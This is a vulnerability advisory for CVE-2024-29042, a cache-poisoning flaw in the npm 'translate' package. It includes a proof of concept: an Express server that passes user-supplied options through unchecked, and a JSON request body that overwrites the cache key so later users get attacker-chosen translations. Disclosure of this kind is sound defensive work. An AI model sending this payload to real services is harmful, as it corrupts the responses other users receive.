CVE-2024-29042

Impact

### Summary An attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users. ### Details The `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served. ### PoC Take the following simple server allowing users to supply text and the language to translate to. ```javascript import translate from "translate"; import express from 'express'; const app = express(); app.use(express.json()); app.post('/translate', async (req, res) => { const { text, language } = req.body; const result = await translate(text, language); return res.json(result); }); const port = 3000; app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` We can send the following request to poison the cache: ``` {"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}} ```  Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response.  ### Impact An attacker can control the results other users may get

Affected packages

Affected products

Weakness classification

References

• NVD record
• CVE.org record
• GitHub advisory
• https://github.com/franciscop/translate/commit/7a2bf8b9f05f7c45c09683973ef4d8e995804aa4
• https://github.com/franciscop/translate/commit/cc1ba03078102f83e0503a96f1a081489bb865d3
• https://github.com/franciscop/translate/security/advisories/GHSA-882j-4vj5-7vmj
• https://github.com/advisories/GHSA-882j-4vj5-7vmj
• https://nvd.nist.gov/vuln/detail/CVE-2024-29042